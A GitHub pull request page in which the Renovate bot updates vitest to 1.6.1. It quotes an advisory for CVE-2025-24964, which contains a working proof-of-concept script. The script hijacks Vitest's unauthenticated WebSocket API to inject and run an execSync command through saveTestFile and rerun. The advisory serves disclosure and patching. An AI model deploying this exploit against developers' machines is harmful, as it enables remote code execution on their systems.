Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

chore(deps): update dependency vitest to v1.6.1 [security] #281

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

chore(deps): update dependency vitest to v1.6.1 [security] #281

wants to merge 1 commit into from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Feb 4, 2025

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vitest (source) 1.1.1 -> 1.6.1 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.6.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v1.5.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.5.0

Compare Source

v1.4.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.3.0

Compare Source

🚀 Features
🐞 Bug Fixes
View changes on GitHub

v1.2.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.2.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.2.0

Compare Source

   🚀 Features
   🐞 Bug Fixes

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot enabled auto-merge (squash) February 4, 2025 17:56
@changeset-bot changeset-bot
Copy link

changeset-bot bot commented Feb 4, 2025 •
edited
Loading

⚠️ No Changeset found

Latest commit: 2b7697d

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@github-actions GitHub Actions
Copy link
Contributor

github-actions bot commented Feb 4, 2025 •
edited
Loading

📊 Package size report   No changes

File Before After
Total (Includes all files) 459.3 kB 459.3 kB
Tarball size 75.8 kB 75.8 kB
Unchanged files
File Size
.browserslistrc 41 B
.changeset/config.json 311 B
.changeset/README.md 510 B
.codesandbox/ci.json 106 B
.commitlintrc 35 B
.editorconfig 161 B
.eslintignore 62 B
.eslintrc 206 B
.github/workflows/ci.yml 961 B
.github/workflows/codeql.yml 851 B
.github/workflows/pkg-size.yml 496 B
.github/workflows/release.yml 958 B
.lintstagedrc.js 50 B
.markuplintrc 134 B
.nvmrc 6 B
.postcssrc.js 49 B
.prettierignore 9 B
.prettierrc 24 B
.remarkrc 42 B
.renovaterc 35 B
.simple-git-hooks.js 51 B
.stylelintignore 167 B
.stylelintrc 90 B
CHANGELOG.md 1.2 kB
LICENSE 1.1 kB
package.json 1.9 kB
packages/app-config/CHANGELOG.md 45.7 kB
packages/app-config/package.json 846 B
packages/app-config/README.md 2.8 kB
packages/babel-preset/CHANGELOG.md 21.8 kB
packages/babel-preset/config.js 43 B
packages/babel-preset/index.js 5.6 kB
packages/babel-preset/package.json 1.3 kB
packages/babel-preset/README.md 2.8 kB
packages/browserslist-config/alauda-legacy.js 51 B
packages/browserslist-config/alauda.js 133 B
packages/browserslist-config/CHANGELOG.md 5.9 kB
packages/browserslist-config/index.js 65 B
packages/browserslist-config/latest.js 73 B
packages/browserslist-config/modern.js 89 B
packages/browserslist-config/package.json 452 B
packages/browserslist-config/README.md 2.8 kB
packages/commitlint-config/CHANGELOG.md 12.1 kB
packages/commitlint-config/index.js 557 B
packages/commitlint-config/package.json 597 B
packages/commitlint-config/README.md 2.8 kB
packages/common-config/CHANGELOG.md 39.1 kB
packages/common-config/package.json 1.1 kB
packages/common-config/README.md 2.8 kB
packages/config/CHANGELOG.md 1.5 kB
packages/config/index.js 499 B
packages/config/package.json 367 B
packages/config/README.md 2.8 kB
packages/eslint-config/_util.js 1.3 kB
packages/eslint-config/base.js 3.1 kB
packages/eslint-config/CHANGELOG.md 50.1 kB
packages/eslint-config/index.js 118 B
packages/eslint-config/loose.js 1.2 kB
packages/eslint-config/overrides.js 13.4 kB
packages/eslint-config/package.json 2.2 kB
packages/eslint-config/README.md 2.8 kB
packages/eslint-config/recommended.js 30 B
packages/lib-config/CHANGELOG.md 41.0 kB
packages/lib-config/package.json 608 B
packages/lib-config/README.md 2.8 kB
packages/lint-staged/_utils.js 429 B
packages/lint-staged/base.js 1.5 kB
packages/lint-staged/CHANGELOG.md 28.7 kB
packages/lint-staged/index.js 35 B
packages/lint-staged/ngc.js 207 B
packages/lint-staged/package.json 689 B
packages/lint-staged/README.md 2.8 kB
packages/lint-staged/tsc.js 188 B
packages/lint-staged/vue-tsc.js 237 B
packages/markuplint-config/angular.js 107 B
packages/markuplint-config/base.js 293 B
packages/markuplint-config/CHANGELOG.md 4.3 kB
packages/markuplint-config/index.js 35 B
packages/markuplint-config/package.json 779 B
packages/markuplint-config/README.md 2.8 kB
packages/markuplint-config/svelte.js 107 B
packages/markuplint-config/vue.js 136 B
packages/postcss-config/CHANGELOG.md 15.5 kB
packages/postcss-config/index.js 1.1 kB
packages/postcss-config/package.json 811 B
packages/postcss-config/README.md 2.8 kB
packages/prettier-config/angular.js 210 B
packages/prettier-config/base.js 1.2 kB
packages/prettier-config/CHANGELOG.md 22.5 kB
packages/prettier-config/index.js 36 B
packages/prettier-config/next.js 220 B
packages/prettier-config/package.json 928 B
packages/prettier-config/quote.js 94 B
packages/prettier-config/README.md 2.8 kB
packages/prettier-config/semi/angular.js 90 B
packages/prettier-config/semi/index.js 87 B
packages/prettier-config/semi/quote.js 88 B
packages/prettier-config/semi/vue.js 86 B
packages/prettier-config/svelte.js 209 B
packages/prettier-config/vue.js 206 B
packages/remark-preset/CHANGELOG.md 6.6 kB
packages/remark-preset/index.js 1.1 kB
packages/remark-preset/package.json 933 B
packages/remark-preset/README.md 2.8 kB
packages/renovate-config/CHANGELOG.md 3.8 kB
packages/renovate-config/package.json 707 B
packages/renovate-config/README.md 2.8 kB
packages/simple-git-hooks/CHANGELOG.md 2.4 kB
packages/simple-git-hooks/index.js 200 B
packages/simple-git-hooks/package.json 575 B
packages/simple-git-hooks/README.md 2.8 kB
packages/stylelint-config/_overrides.js 1.0 kB
packages/stylelint-config/base.js 1.5 kB
packages/stylelint-config/CHANGELOG.md 21.3 kB
packages/stylelint-config/index.js 43 B
packages/stylelint-config/loose.js 47 B
packages/stylelint-config/modules.js 175 B
packages/stylelint-config/package.json 1.1 kB
packages/stylelint-config/README.md 2.8 kB
packages/stylelint-config/scss/base.js 1.3 kB
packages/stylelint-config/scss/index.js 35 B
packages/stylelint-config/scss/loose.js 287 B
packages/tsconfig/angular.json 306 B
packages/tsconfig/app.json 244 B
packages/tsconfig/CHANGELOG.md 10.1 kB
packages/tsconfig/dom-lib.json 158 B
packages/tsconfig/lib.json 189 B
packages/tsconfig/loose.json 180 B
packages/tsconfig/ng-lib.json 387 B
packages/tsconfig/node.json 136 B
packages/tsconfig/node16.json 192 B
packages/tsconfig/nodenext.json 196 B
packages/tsconfig/package.json 495 B
packages/tsconfig/README.md 2.8 kB
packages/tsconfig/tsconfig.json 601 B
patches/stylelint-config-prettier+9.0.5.patch 657 B
README.md 4.0 kB
tests/_test.ts 1.1 kB
tests/test.component.html 142 B
tests/test.component.ts 198 B
tests/test.css 53 B
tests/test.d.ts 409 B
tests/test.html 191 B
tests/test.js 678 B
tests/test.json 23 B
tests/test.json5 22 B
tests/test.jsonc 36 B
tests/test.less 315 B
tests/test.md 61 B
tests/test.mdx 143 B
tests/test.pug 17 B
tests/test.scss 300 B
tests/test.sh 20 B
tests/test.spec.js 176 B
tests/test.spec.ts 710 B
tests/test.styl 286 B
tests/test.svelte 385 B
tests/test.svg 1.2 kB
tests/test.toml 16 B
tests/test.vue 436 B
tests/test.yaml 13 B
tests/test.yml 13 B
tests/test1.jsx 347 B
tests/test2.ts 1.7 kB
tests/test3.tsx 386 B
tsconfig.json 41 B
vitest.config.ts 238 B

🤖 This report was automatically generated by pkg-size-action

@codesandbox-ci CodeSandbox CI
Copy link

codesandbox-ci bot commented Feb 4, 2025 •
edited
Loading

This pull request is automatically built and testable in CodeSandbox.

To see build info of the built libraries, click here or the icon next to each commit SHA.

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 101e7c0 to 2b7697d Compare February 9, 2025 14:25
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
0 participants